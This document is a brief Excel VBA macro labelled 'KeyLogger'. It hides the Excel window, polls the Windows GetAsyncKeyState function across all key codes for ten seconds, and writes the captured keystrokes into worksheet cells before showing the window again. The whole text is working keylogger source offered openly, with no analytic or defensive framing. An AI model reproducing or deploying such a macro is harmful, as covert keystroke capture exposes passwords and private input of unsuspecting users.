KeyLogger
Dim i, e As Long
Dim s As String
Dim b As Integer
Dim result As Long
Public Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Long
Sub lok()
e = 1
b = 0
Application.Visible = False
f = Now() + TimeValue("00:00:10")
Do While Now() < f
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then s = s + Chr$(i)
Next i
If Len(s) = 100 Then
Cells(e, 1).Value = s
e = e + 1
s = ""
End If
Loop
Cells(e, 1).Value = s
s = ""
Application.Visible = True
End Sub